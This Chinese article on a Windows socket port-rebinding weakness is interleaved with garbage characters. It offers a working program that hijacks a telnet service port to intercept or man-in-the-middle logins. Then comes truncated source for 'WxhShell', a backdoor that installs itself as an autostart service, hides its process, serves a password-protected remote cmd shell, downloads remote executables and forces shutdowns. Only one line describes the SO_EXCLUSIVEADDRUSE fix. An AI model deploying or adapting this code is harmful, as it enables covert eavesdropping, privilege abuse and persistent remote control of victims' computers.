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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;EfREfk
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D~ %h3HM p\M\mK saddr.sin_family = AF_INET; {NV=k%MTmi - Tr*G4 saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q?W}]RW 1FmVx bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cGe-|>: JU0|pstf 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^ZO3:"t!w `Yc>I!iN 这意味着什么?意味着可以进行如下的攻击: X !l#1 -j"2rIl4# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5}2XnM2 ZNG{:5u, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [7SR2^uf<j =%oKYQ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 j0[9Cj^%c KR/SMwy 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 *7 >K" j XxE>KeP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n7K\\|X +W9#^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *|k/l I
i fbO< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &(HIBF'O qW:\6aEG #include &sJ%ur+G #include d512Y[ R #include 9`sIE _%+ #include ]Q0+1'yuK DWORD WINAPI ClientThread(LPVOID lpParam); p*]nCUs}n int main() Md ,KW# { *>p#/'_E WORD wVersionRequested; #:3~I DWORD ret; Ndr4e?Xa, WSADATA wsaData; .\+%Q)?h: BOOL val; '; Z!(r SOCKADDR_IN saddr; Kzgnhgc SOCKADDR_IN scaddr; Smlf9h& int err; w@ =U f7 SOCKET s; Og~3eL[1%C SOCKET sc; T)PH8 " int caddsize; ;p 'Ej'E HANDLE mt; %{M&"M v DWORD tid; ]pP [0S wVersionRequested = MAKEWORD( 2, 2 ); yjxv D err = WSAStartup( wVersionRequested, &wsaData ); 96
!e:TU if ( err != 0 ) { ?_7^MP> printf("error!WSAStartup failed!\n"); itW~2#nJz return -1; seo.1.Da2 } }~`l!ApD saddr.sin_family = AF_INET; j-j,0!T~b )X-/0G=N- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Yn }Ivg " tUF,G(< saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rfS kQT saddr.sin_port = htons(23); &%4*~;o if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *(sFr E { _l;$<]re\k printf("error!socket failed!\n"); E<XrXxS1O return -1; g}=opw6z } @fxDe[J: val = TRUE;
@Iy&Qo //SO_REUSEADDR选项就是可以实现端口重绑定的 ;v^1V+1:z if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J 4OgV? { ,a/<t" printf("error!setsockopt failed!\n"); Cn>RUGoUsI return -1; ^w|apI~HSE } KnuQ5\y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; i'bUX=JK //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 B#U:6Ty //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0*Is#73rjY ]#VNZ#(" if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) " ~&d=f0m { {)d{:&*K. ret=GetLastError(); mlD 1 o printf("error!bind failed!\n"); d=_Wgz,d return -1; 9xm' 0 ' } d2e4=/A% listen(s,2); /
!*+9+h while(1) )2jBhT { 9c_h+XN?y caddsize = sizeof(scaddr); *N#{~ //接受连接请求 k)l^;x- sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); oH|<(8efD if(sc!=INVALID_SOCKET) .;xt{kK { AH#eoKu mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JxM[LvVi if(mt==NULL) cc^ [u+ { $m-rn'Q printf("Thread Creat Failed!\n"); h!L6NS_Q, break; zU)Ib<$ } 3r(i=ac0 } H_CX5=Nq^ CloseHandle(mt); nmZJ%n } u`2[V4=L closesocket(s); 06#40- WSACleanup(); $h( B2 return 0; "2'pS<| } } QqmDK. DWORD WINAPI ClientThread(LPVOID lpParam) 6X@$xe847[ { dNL<O SOCKET ss = (SOCKET)lpParam; a5AD$bP SOCKET sc; Y([YDn unsigned char buf[4096]; .oNs8._:
SOCKADDR_IN saddr; Cg!]x
o long num; h NCoX*icd DWORD val; A#6\5u DWORD ret; \Y{^Q7!>:8 //如果是隐藏端口应用的话,可以在此处加一些判断 f2"1^M //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 tM$w0Cj saddr.sin_family = AF_INET; (7qdrAeP saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #K3`$^0 s saddr.sin_port = htons(23); >$yqx1=jW if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /=bg(?nX { CI )89` printf("error!socket failed!\n"); k7gm)}RKcu return -1; d;$<K } <+oTYPgD9 val = 100; 9a*}&fL[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j}CZ* { 5k^UZw ret = GetLastError(); rIt#ps return -1; 8JU9Qb]L'I } ?<iinx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0;kp`hB { n^Uu6 ret = GetLastError(); -$[o:dLO return -1; 2C!Ko"1Y' } 4{s3S2f= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) D# "ppa} { Z7X_U`Q printf("error!socket connect failed!\n"); MyyNYZ closesocket(sc); .cV<(J 5o closesocket(ss); gJ8+HV return -1; fgW>U*.ar } uP-I7l0i1 while(1) v{Rj,Ou { /Y>$w$S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !4(X9}a //如果是嗅探内容的话,可以再此处进行内容分析和记录 4[ 7)$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 K6=i\ num = recv(ss,buf,4096,0); <=D\Ckmb if(num>0) 5)rMoYn25 send(sc,buf,num,0); s5DEuu>g else if(num==0) V4PV@{G break; v^=Po6S[{+ num = recv(sc,buf,4096,0); )\bA'LuFy if(num>0) 9"=1 O send(ss,buf,num,0); g.3a5#t else if(num==0) .<<RI8A break; YjTRz.e{[7 } FC:+[.fi closesocket(ss); R*l#[D5A closesocket(sc); @nuMl5C-` return 0 ; 6,707h } !5hNG('f \Tc<27- pE<@ ========================================================== b=5"*=T{+ |bwz 下边附上一个代码,,WXhSHELL 3q!hY xIN&>D'|N ========================================================== vnNX)$f P9Yw\ #include "stdafx.h" Y~P1r]piB {W[OjPC~F #include <stdio.h> 6z6\-45 #include <string.h> s7A3CY]-> #include <windows.h> yl>V' #include <winsock2.h> 29xm66
#include <winsvc.h> x.+ r.cAXH #include <urlmon.h> tJ{3Z}K F ka^0 #pragma comment (lib, "Ws2_32.lib") (9#$za> #pragma comment (lib, "urlmon.lib") |L@&plyB- 00?_10x) #define MAX_USER 100 // 最大客户端连接数 aDV~T24 #define BUF_SOCK 200 // sock buffer oTtJ]`T #define KEY_BUFF 255 // 输入 buffer pf\
Ybbs x:7"/H| #define REBOOT 0 // 重启 Y+,ii$Ce~ #define SHUTDOWN 1 // 关机 cN#c25S> &%@b;)]J #define DEF_PORT 5000 // 监听端口 B# >7;xy> Y
,Iv<Hg #define REG_LEN 16 // 注册表键长度 \F$V m'f_ #define SVC_LEN 80 // NT服务名长度 r9nyEzk r~K5jL%z9 // 从dll定义API ZU=omRh5
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xppl6v( typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); BwLggo typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @>r3=s.Q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gQ< >S *LaL('.> // wxhshell配置信息 S,ENbP%0r struct WSCFG { |XDbf3^6 int ws_port; // 监听端口 E%[2NsOM] char ws_passstr[REG_LEN]; // 口令 X]Aobtz int ws_autoins; // 安装标记, 1=yes 0=no G`/5= char ws_regname[REG_LEN]; // 注册表键名 kB2]Z} char ws_svcname[REG_LEN]; // 服务名 P}2i[m.*, char ws_svcdisp[SVC_LEN]; // 服务显示名 F9Hxqa#1T char ws_svcdesc[SVC_LEN]; // 服务描述信息 St1Ny,$yU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \jkMnS6FvL int ws_downexe; // 下载执行标记, 1=yes 0=no ?06+"Z char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" SBf8Ipe char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :i?7RouO x1@`\r#0 }; 4Bn
<L&@/ }f
l4^F // default Wxhshell configuration S%^*h{9u" struct WSCFG wscfg={DEF_PORT, %kHeU= "xuhuanlingzhe", %`4\ 8H` 1, ;?{N=x8 "Wxhshell", *%3%Zj,{ "Wxhshell", IL]Js W "WxhShell Service", #j+0jFu "Wrsky Windows CmdShell Service", $QNII+o
"Please Input Your Password: ", H% peE9>$ 1, !Ojf9 6is " http://www.wrsky.com/wxhshell.exe", m@Q%)sc) "Wxhshell.exe" c %jW' }; CeZ+!-lG S'h{["P~
0 // 消息定义模块 1edeV48{: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IO@Ti(, char *msg_ws_prompt="\n\r? for help\n\r#>"; &y}
]^wB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ^$!H| char *msg_ws_ext="\n\rExit."; TtWE:xE char *msg_ws_end="\n\rQuit."; dcd9AW= char *msg_ws_boot="\n\rReboot..."; +Fk]hCL char *msg_ws_poff="\n\rShutdown..."; {:63% j char *msg_ws_down="\n\rSave to "; iI]E%H} ?oD]J char *msg_ws_err="\n\rErr!"; 5x2m]u char *msg_ws_ok="\n\rOK!"; 6EX_IDb ;8~tt I char ExeFile[MAX_PATH]; i$z).S?1 int nUser = 0; ^$D2fS HANDLE handles[MAX_USER]; Fk-}2_=vi int OsIsNt; r(VGdG Ft[)m#Dj` SERVICE_STATUS serviceStatus; sTb@nrRxH SERVICE_STATUS_HANDLE hServiceStatusHandle; ~jpdDV&u\ 1.U9EuI // 函数声明 1v?|n8 int Install(void); [PhT
zXt int Uninstall(void); 8fH.E int DownloadFile(char *sURL, SOCKET wsh); 2Hp<( int Boot(int flag); -~|E(ys void HideProc(void); )LdS1% int GetOsVer(void); o6v'`p' int Wxhshell(SOCKET wsl); i?+>,r@\p void TalkWithClient(void *cs); A*a:#'"*N int CmdShell(SOCKET sock); >!gW]{ int StartFromService(void); &^I2NpT int StartWxhshell(LPSTR lpCmdLine); \7d T]VV $q%l)]+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -s!cZ3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ng-rvr VQV%1f // 数据结构和表定义 'KU)]v SERVICE_TABLE_ENTRY DispatchTable[] =
{ch+G~oS { j,J/iJs {wscfg.ws_svcname, NTServiceMain}, {SOy- {NULL, NULL} Jg2*$gL;_ }; m~<<ok_ u&Lp // 自我安装 (nUSgZz5 int Install(void) S#|dmg;p { )Bb:?!EuEH char svExeFile[MAX_PATH]; rQ:+LVfXjA HKEY key; Z{ AF8r strcpy(svExeFile,ExeFile); .!^}sp,E }Y=X{3+~. // 如果是win9x系统,修改注册表设为自启动 q
qFN4AO if(!OsIsNt) { Q$B\)9`v[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ? JliKFD% RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AnD#k] RegCloseKey(key); #
VAL\Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iuGly~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C"[d bh! RegCloseKey(key); ]T<\d-!CZN return 0; t91z<Y| } g4U`Qf3 } bPL.8hX
} U~l.%mui else { RX cfd-us FhAYk // 如果是NT以上系统,安装为系统服务 Dx*tolF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _C&XwCIm if (schSCManager!=0) r1R\cor { tT`{xM SC_HANDLE schService = CreateService [izP1A$r#Q ( ()`cW>[ schSCManager, *_,: &Ur wscfg.ws_svcname, Ce.*yO<- wscfg.ws_svcdisp, pLtAusx SERVICE_ALL_ACCESS, enB2-)<K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , E8Y(C_:s SERVICE_AUTO_START, bH1MDBb2 SERVICE_ERROR_NORMAL, v9K=\ j svExeFile, f$I$A(0P NULL, }u&,;] NULL, 8oxYgj&~X NULL, <3WaFi u NULL, rT/4w#_3 NULL 8HxtmFqG ); R GC DC*\ if (schService!=0) L8.u7(-# { 032PR;] CloseServiceHandle(schService); A`
)A=L CloseServiceHandle(schSCManager); _u QxrB"9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); qQ^bUpk0 strcat(svExeFile,wscfg.ws_svcname); FS^ie|8{D- if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \O
G`+"|L RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *{1]b_< RegCloseKey(key); Cu-z`.#}R return 0; 0m>?-/uDx } o7^u@*"F } ps&p| CloseServiceHandle(schSCManager); *;!p#qL } c[zaYcbl } t}m"rMbt @S#Ls="G return 1; i0py5Q } :kw14?]_ 9|5>?'CqP // 自我卸载 (+w.?l int Uninstall(void) {Ip)%uR { g( -}M` HKEY key; ;:4PT~\* |*te69RX if(!OsIsNt) { 5
cz6\A& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <v+M ~"%V RegDeleteValue(key,wscfg.ws_regname); OtD!@GQ6 RegCloseKey(key); 2 i:tPe& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { geJO#; RegDeleteValue(key,wscfg.ws_regname); > a"4aYj RegCloseKey(key); b+!I_g4P return 0; <cNg_ZZ;8 } gVU&Yl~/^ } rG"QK!R5 } iD`>Bt7gD else { ,.-85isco jB -wJNP/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }$D{YHF if (schSCManager!=0) kXY p.IVA { ;UoXj+Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F?.J1] if (schService!=0) g6l&;S40 { }v$T1Cw if(DeleteService(schService)!=0) { /aX#j`PrH CloseServiceHandle(schService); |\] _u 3 CloseServiceHandle(schSCManager); vm4q1!!( return 0; ]~J.YX9ST } Qu6Q)dZ< CloseServiceHandle(schService); ganXO5T$ } !PuW6 CloseServiceHandle(schSCManager); 3oE3bBj } "u.4@^+i } n&;-rj^qq 8^)K|+_'m return 1; DY' 1#$; } Tj_~ BT VSQxlAGk@ // 从指定url下载文件 /'WVRa int DownloadFile(char *sURL, SOCKET wsh) &XH{,fv$ { S)~Riuy$ HRESULT hr; l!9G char seps[]= "/"; ]xf|xs char *token; [/Ya4=C@ char *file; _?J:Z*z? char myURL[MAX_PATH]; oMer+=vH char myFILE[MAX_PATH]; x"xtILrI Sh2;^6d strcpy(myURL,sURL); Tt*n.HA token=strtok(myURL,seps);
(U#9 while(token!=NULL) :"e,&
% { 3|g]2|~w@h file=token; mbCY\vEl token=strtok(NULL,seps); 2%oo.?!R } m(c5g[6nO pGh A GetCurrentDirectory(MAX_PATH,myFILE); RBM(>lU: strcat(myFILE, "\\"); L?~-<k strcat(myFILE, file); Kl)PF), send(wsh,myFILE,strlen(myFILE),0); gt=
_;KZ send(wsh,"...",3,0); T.R( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^7O,Vk"Z if(hr==S_OK) G: p!PB>= return 0; d/3
k3HdL else 8 ?+t+m[ return 1; M+q|z0 U ~.'NG?
%7P } 1XvB,DhJ ]&kzIxh // 系统电源模块 jf'#2-
int Boot(int flag) BoMf#l.3B { TRSR5D[ HANDLE hToken; c7$U0JO TOKEN_PRIVILEGES tkp; )/1,Ogb%_ Z-BPC|e if(OsIsNt) { ;q6FdS OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B \z4o\am% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SOPQg?'n=V tkp.PrivilegeCount = 1; %`Q<_LTU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -A A='s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Axtf,x+lH if(flag==REBOOT) { ,0=@cJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m+Bt9|d return 0; B U^3U x$ } ,'69RL?-Wg else { !b+/zXp3I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L8zY?v(bG return 0; ?MhY;z`= } |Skxa\MI } 1*!`G5c,} else { {Noa4i if(flag==REBOOT) { E'J| p7 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <Hq|<^_K return 0; N>$Nw<wV } t6)wR else { ,Uh7Q-vd if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /o19/Pvwm return 0; kN)m"}gX } =os%22* } UEvRK?mm= 9V%s1@K return 1; Ba],ONM4k } *CH lg1 <Eo;CaaF/ // win9x进程隐藏模块 _e;$Y#`EO void HideProc(void) z$d/Vz,a { ,\FJVS;NeJ Y M_\ ZK: HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9OC!\'
8 if ( hKernel != NULL ) 27t23@{YL { 'RlPj0Cg
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JKkR963 O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P*#H]Pv FreeLibrary(hKernel); %-6I } ]B<Hrnn [V5ebj:6w return; Bk~lE]Q3c7 } ,\|W,N}~ 9W{=6D86e // 获取操作系统版本 }lk_Oe1 int GetOsVer(void) 8W]6/st?] { pOCLyM9c OSVERSIONINFO winfo; ,4-) e winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )k.[Ve GetVersionEx(&winfo); 'wd-!aZAd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SY`
U]-h return 1; A(mU,^ else "(hhb>V1Wl return 0; R^.oM1qu| } =-`}(b2N *:q3<\y{ // 客户端句柄模块 pN)9GO5 int Wxhshell(SOCKET wsl) @eRR#S { l!plw,PYC SOCKET wsh; &sp7YkaW struct sockaddr_in client; P8Bv3 DWORD myID; pr8eRV!x dooS|Mq while(nUser<MAX_USER) Ocq.<#||H { _(}{=:M? int nSize=sizeof(client); 99@uU[&IJ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^1vh5D if(wsh==INVALID_SOCKET) return 1; 1@)8E`u M%dXy^e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JRkC~fv if(handles[nUser]==0) b<de)MG closesocket(wsh); ?q(7avS9 else BpL,<r, nUser++; t%e}'?#^ } 2<Tbd"x? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); coHzbD~#H z O return 0; 8I)66 } I_('Mr) 1 f ]04TI // 关闭 socket GNzkVy:u void CloseIt(SOCKET wsh) Fg)Iw<7_2 { M1^?_;B closesocket(wsh); 92F(Sl nUser--; WHQg6r ExitThread(0); + RX{ } TKpka]nJ njveZav // 客户端请求句柄 r^mP'# void TalkWithClient(void *cs) ,YYyFMC7S { XO+^q9 l+'@y (}Q SOCKET wsh=(SOCKET)cs; K14e"w%6rs char pwd[SVC_LEN]; .(OFYK< char cmd[KEY_BUFF]; Gpws_jw char chr[1]; QCFLi n+r int i,j; `Nn=6[] 05mjV6j7m while (nUser < MAX_USER) { %O`e!p #Jv|zf5Z if(wscfg.ws_passstr) { 6fhH)]0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Zp)
DM //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Amf
gc>eJ //ZeroMemory(pwd,KEY_BUFF); t@[&8j2B> i=0; D.zEE-cGyb while(i<SVC_LEN) { e`%U}_[d k{<]J5{7 // 设置超时 UI}v{05] fd_set FdRead; xJtblZ1sr struct timeval TimeOut; :?%$={m FD_ZERO(&FdRead); Hn5:*;N FD_SET(wsh,&FdRead); ]a)o@FI TimeOut.tv_sec=8; 7F OG^ TimeOut.tv_usec=0; v1Tla]d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )$XW~oA' if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ^s/HbCA !%{/eQFT4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B#Cb`b" pwd =chr[0]; o(GXv3L if(chr[0]==0xd || chr[0]==0xa) { p]/HZS.-b pwd=0; m?DI]sIv# break; f 4CS } ezn%*X
y, i++; MaDdiyeC } 68
%=
V>V 8"L#5MO t // 如果是非法用户,关闭 socket 4}@J]_]Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wQ
/IT}- } &~of]A O4w6\y3U send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?ACflU_k send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +eSNwR= %UDz4?zx while(1) { o2 I8;xuutc ZeroMemory(cmd,KEY_BUFF); QOA7#H-m9 36mp+}R# // 自动支持客户端 telnet标准 We&~]-b AW j=0; U~8;y' while(j<KEY_BUFF) { 2Wwzcvs@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @v^;,cu'8 cmd[j]=chr[0]; -`nQa$N- if(chr[0]==0xa || chr[0]==0xd) { xE.K cmd[j]=0; NUBf>~_} break; 0$)uOUVJ } Vmq:As^a j++; l"70|~ } w U".^
+ 8aDhHXI // 下载文件 s8L=:hiSf) if(strstr(cmd,"http://")) { 32nB9[l send(wsh,msg_ws_down,strlen(msg_ws_down),0); a *?bnw? if(DownloadFile(cmd,wsh)) nBw4YDR! send(wsh,msg_ws_err,strlen(msg_ws_err),0); _m .u@+g else DX>Yf} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4D+S\S0bk } d:C|laZHn else { 1t&LNIc|^ = F*SAz switch(cmd[0]) {
WWf#in }LK +w+h~ // 帮助 g=*'kj7c3 case '?': { .SZ ZT0Z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); E,u/^V9x break; X{cFqW7 } D d['e // 安装 $gZC"~BR case 'i': { qiEw[3Za]' if(Install()) I'6wh+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z:>)5Z{' else |^l17veA@ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n
hT%_se4 break; mhh^kwW } P/%5J3_, // 卸载 yN-o?[o case 'r': { -rg >y!L if(Uninstall()) 2F5*C send(wsh,msg_ws_err,strlen(msg_ws_err),0); %?<Y&t else D,R"P }G send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >3aB{[[N break; imb.CYS74 } okwkMd-yW // 显示 wxhshell 所在路径 i'bviD case 'p': { 'uy\vR&Pz char svExeFile[MAX_PATH]; ?2d! ^!9 strcpy(svExeFile,"\n\r"); Z`jc*jgy strcat(svExeFile,ExeFile); :Vdo.uUa send(wsh,svExeFile,strlen(svExeFile),0); % YgGw:wZ break; :pz`bFJk } N{b;kiZq // 重启 M3m)ui z case 'b': { hIBW$ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8d|/^U.w~V if(Boot(REBOOT)) DIAHIV< send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6gr?#D -F else { Gl am(V1 closesocket(wsh); MBp,!_Q6 ExitThread(0); ~F)[H'$A } {Q?\%4>2 break; XC*!=h* } oItEGJ| // 关机 <GdQ""X case 'd': { 4hl`~&yDf send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z4!Y9 if(Boot(SHUTDOWN)) FaA'%P@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); n]nb+_-97 else { ,F;<Y9] closesocket(wsh); Fu%D2%V$/ ExitThread(0); i!yu%>:M } VbU*&{j break; Nbyc,a[o } xZ=6 // 获取shell 0,{tBo case 's': { "pA24Ze CmdShell(wsh); &$H7vdWNy closesocket(wsh); RyuI2jEy ExitThread(0); NzBX2 break; 0&21'K)pW } z5tOsU // 退出 (Ts#^qC case 'x': { ]=ubl!0=: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S+*%u/;l CloseIt(wsh); m)\wbkC break; 506AvD } B5R/GV // 离开 ?xTdL738 case 'q': { g&]n:qx send(wsh,msg_ws_end,strlen(msg_ws_end),0); -a+oQP]O closesocket(wsh); R?Ys%~5 WSACleanup(); jhx @6[ exit(1); 6s<w}O break; 5Sh.4A\ } 5f}GV0=n } |V
dr/' } k $d+w][ (@(rz/H // 提示信息 LX%UkfA9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6'a1]K } (?ofL|Cg( } e$Npo<u vyhxS .[9 return; 9{-
Sa } 6\5"36&/rQ $`'%1;y@ // shell模块句柄 Ld4Jp`Zg int CmdShell(SOCKET sock) b%_[\(( { +Rq7m] STARTUPINFO si; hsJS(qEh.' ZeroMemory(&si,sizeof(si)); ~IQ 2;A si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IEj=pI si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,b${3*PPQ PROCESS_INFORMATION ProcessInfo; n&fV^ x char cmdline[]="cmd"; w+Oo-AGNH CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {8im{]8_ return 0; J_@`:l0,z } N*{>8iFo4 R64/m9 // 自身启动模式 (i)Ed9~F" int StartFromService(void) L=v"5)m2R { -egu5#d> typedef struct iS#m{1m$$ { {0J
(=\u DWORD ExitStatus; \f-HfYG DWORD PebBaseAddress; /9k}Ip DWORD AffinityMask; Q<UKR|6 DWORD BasePriority; 69C>oX ULONG UniqueProcessId; 7a#zr_r ULONG InheritedFromUniqueProcessId; B,NHy
C1i } PROCESS_BASIC_INFORMATION; !fT3mI6u\ _usi~m PROCNTQSIP NtQueryInformationProcess; <&87aDYz r$/.x6g// static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^BN?iXQhN static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K[Ao_v2g =>u9k:('9 HANDLE hProcess; ];7/DM#Np PROCESS_BASIC_INFORMATION pbi; wPRs.(]_ \CK f/:" HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a";xG,U if(NULL == hInst ) return 0; !<AY0fpY g|
